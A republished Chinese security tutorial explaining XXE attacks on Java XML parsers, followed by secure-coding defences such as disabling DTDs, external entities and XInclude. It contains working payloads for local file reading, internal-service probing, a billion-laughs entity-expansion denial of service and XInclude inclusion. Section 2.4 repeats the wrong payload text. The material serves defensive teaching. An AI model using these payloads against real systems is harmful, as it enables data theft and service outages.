4

从原理到实战,详解XXE攻击 - 华为云开发者联盟

 11 months ago
source link: https://www.cnblogs.com/huaweiyun/p/17761428.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

本文分享自华为云社区《【安全攻防】深入浅出实战系列专题-XXE攻击》,作者: MDKing。

1 基本概念

XML基础:XML 指可扩展标记语言(Extensible Markup Language),是一种与HTML类似的纯文本的标记语言,设计宗旨是为了传输数据,而非显示数据。是W3C的推荐标准。

XML标签:XML被设计为具有自我描述性,XML标签是没有被预定义的,需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档。

image1.png

DTD:指文档类型定义(Document Type Definition),通过定义根节点、元素(ELEMENT)、属性(ATTLIST)、实体(ENTITY)等约束了xml文档的内容按照指定的格式承载数据。

如下图,通过<!DOCTYPE 根节点名称 [DTD内容]>的规则指定了该xml文件合法的根节点元素为persons,它的子节点元素为person,以及person的子层元素以及属性。

(另外:可通过<!DOCTYPE 根节点名称 SYSTEM "DTD文件名">的方式引入外部的DTD定义文件)
image2.png

实体:在DTD中通过<!ENTITY 实体名称 "实体的值">等方式定义实体,相当于定义变量的作用,可在文档内容中通过&实体名称;的方式引用实体的值(变量的值)。

实体类型:实体分为多种类型,从使用范围的维度,分为参数实体(只能在DTD中引用)与非参数实体(可以在DTD中、文档内容中引用)。区别如下:

  样例 引用方式 使用范围与场景
非参数实体 <!ENTITY country "中国"> &country; 在DTD中、文档内容中均可引用,一般用来取代重复的字符串
参数实体 <!ENTITY % countrydefine "xxx元素的DTD定义内容"> %country; 仅能在DTD定义中引用,一般用来保存某段重复的DTD定义

从值的来源维度,分为内部实体、外部实体。内部实体为文档内部直接定义值,外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下:

  样例 特征与使用场景
内部实体 <!ENTITY country "中国"> 值是明确的字符串常量等,可以直接定义在本文档中
外部实体 <!ENTITY country SYSTEM "file:///D:/country.txt"> 值来源于其它文件或者网络

XML外部实体注入:XML External Entity Injection即xml外部实体注入漏洞,简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时,就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的,达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的。

Xinclude:Xinclude用来导入外部xml文档,类似于php的include,将外部定义的dtd引入当前文件。该特性可以解决部分场景下引入外部实体具有的局限性,但并不是所有XML 解析器都支持 XInclude,W3C在XInclude Implementations Report中列出了支持的列表,结合XInclude特性也可以在部分场景下执行XXE攻击。常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的,如果使用,需要在代码中手动开启,如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude,仅禁用DTD解析也是存在安全风险的。

2 常见攻击场景实战演练

2.1 服务器文件读取(信息泄露)

目的与场景:通过构造特定格式的xml文档,读取服务器上指定文件的内容,达到敏感信息获取的目的。

xml文档payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ELEMENT root (#PCDATA)>
    <!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd.txt">]>
<root>&pw;</root>

服务器端代码:

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<!DOCTYPE root [ \n" +
                "\t<!ELEMENT root (#PCDATA)>\n" +
                "\t<!ENTITY pw SYSTEM \"file:///D:/securetest/xxe/passwd.txt\">]>\n" +
                "<root>&pw;</root>";
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream in = new ByteArrayInputStream(xml.getBytes());
        org.w3c.dom.Document document = builder.parse(in);
        Element rootElement = document.getDocumentElement();

        // 打印根节点元素名称、内容
        System.out.println("根节点名称:" + rootElement.getNodeName());
        System.out.println("根节点内容:" + rootElement.getTextContent());
}

执行结果:成功读取到了passwd.txt的内容。(服务端代码样例中打印在控制台上,对应实际系统中需要有将文档内容打印到界面上等处理。)

image3.png

2.2 内网信息探测

目的与场景:通过构造特定格式的xml文档,可以借助目标主机访问内网的其它主机开放的内部接口等服务。

内网其它服务器模拟准备:通过node staticServer.js命令启动服务器,监听3000端口

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.get('/getInnerData', function(req, res) {
  console.log(req.headers)
  res.end('AK:abc;SK:ABDCEF')
})
app.listen(3000)

经验证,http请求可成功返回

image4.png

xml文档payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ELEMENT root (#PCDATA)>
    <!ENTITY pw SYSTEM "http://127.0.0.1:3000/getInnerData">]>
<root>&pw;</root>

服务器端代码:

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<!DOCTYPE root [ \n" +
                "\t<!ELEMENT root (#PCDATA)>\n" +
                "\t<!ENTITY pw SYSTEM \"http://127.0.0.1:3000/getInnerData\">]>\n" +
                "<root>&pw;</root>";
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream in = new ByteArrayInputStream(xml.getBytes());
        org.w3c.dom.Document document = builder.parse(in);
        Element rootElement = document.getDocumentElement();

        // 打印根节点元素名称、内容
        System.out.println("根节点名称:" + rootElement.getNodeName());
        System.out.println("根节点内容:" + rootElement.getTextContent());
    }

执行结果:成功读取到内部接口getInnerData的内容。

image5.png

2.3 DDos攻击

目的与场景:通过构造特殊格式的xml文档,定义多层递归引用的实体(变量)让解析的内容以及时间以指数级增长,以实现DDos攻击的效果。

xml文档payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ELEMENT root (#PCDATA)>
    <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
<root>&lol6;</root>

服务器端代码:

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
    // 获取当前时间
    LocalDateTime startTime = LocalDateTime.now();
    String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
            "<!DOCTYPE root [ \n" +
            "\t<!ELEMENT root (#PCDATA)>\n" +
            "\t<!ENTITY lol \"lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n\">\n" +
            "\t<!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n" +
            "\t<!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n" +
            "\t<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" +
            "\t<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" +
            "\t<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n" +
            "\t<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;\">]>\n" +
            "<root>&lol6;</root>";
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating(true);
    factory.setExpandEntityReferences(false);
    System.setProperty("entityExpansionLimit", "50000000");
    DocumentBuilder builder = factory.newDocumentBuilder();
    InputStream in = new ByteArrayInputStream(xml.getBytes());
    org.w3c.dom.Document document = builder.parse(in);
    Element rootElement = document.getDocumentElement();

    // 打印根节点元素名称、内容
    System.out.println("根节点名称:" + rootElement.getNodeName());
    System.out.println("根节点内容:" + rootElement.getTextContent());
    System.out.println("根节点内容长度:" + rootElement.getTextContent().length());
    System.out.println("根节点内容大小:" + rootElement.getTextContent().getBytes().length / (1024 * 1024) + "MB");

    // 获取当前时间并计算时间差
    LocalDateTime endTime = LocalDateTime.now();
    Duration duration = Duration.between(startTime, endTime);
    System.out.println("解析执行时间为:" + duration.toMillis() + "豪秒");
}

执行结果:如果程序中不对解析实体做限制的话,可以通过少量的DTD定义,实现海量大小的解析结果的效果,会大量占用服务器的处理、存储。

image6.png

2.4 Xinclude攻击演示

目的与场景:该样例演示了如果打开了Xinclude开关的危险性,即使做了DTD的安全禁用,还是依然可以进行XXE攻击。

xml文档payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ELEMENT root (#PCDATA)>
    <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
<root>&lol6;</root>

服务端代码:

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
    String xml = "<?xml version=\"1.0\" ?>\n" +
            "<root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n" +
            "<xi:include href=\"file:///D:/securetest/xxe/passwd.txt\" parse=\"text\"/>\n" +
            "</root>";
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setNamespaceAware(true);
    factory.setXIncludeAware(true);
    DocumentBuilder builder = factory.newDocumentBuilder();
    InputStream in = new ByteArrayInputStream(xml.getBytes());
    org.w3c.dom.Document document = builder.parse(in);
    Element rootElement = document.getDocumentElement();

    // 打印根节点元素名称、内容
    System.out.println("根节点名称:" + rootElement.getNodeName());
    System.out.println("根节点内容:" + rootElement.getTextContent());
}

执行结果:

image7.png

3 安全编码防御

3.1 禁止打开Xinclude开关

常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的,如果使用,需要在代码中手动开启,如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude,仅禁用DTD解析也是存在安全风险的。2.4中演示了即使禁用了DTD解析,打开Xinclude功能开关后存在的安全问题。所以从安全角度考虑,首先禁止打开Xinclude开关。

3.2 禁用DTD解析

如果业务中不需要进行DTD定义以及解析,最好的方式就是完全禁用DTD解析。例如Dom类型的解析器中通过factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);来禁用。效果如下:

image8.png

3.3 禁用外部实体解析

方式一:如果业务中确实需要DTD定义以及解析,可以通过仅禁用外部实体解析的方式进行安全防护。例如Dom类型的解析器中通过如下方式设置禁用外部实体解析:

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

效果如下:

image9.png

方式二:禁用外部实体解析还有另外一种方式,重写实体解析函数,核心代码:

builder.setEntityResolver(new EntityResolver() {
    @Override
    public InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException {
        return new InputSource(new StringReader(""));
    }
});

效果如下:

image10.png

4 安全编码扫描工具

IoT已将包括上述安全编码逻辑在内的常用XML解析器的安全编码规范提取到IoT自定义安全规则集,上线到所有IoT服务的生产发布流水线中,自动化的保障各服务的现网代码安全。如:

image11.png

点击关注,第一时间了解华为云新鲜技术~


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK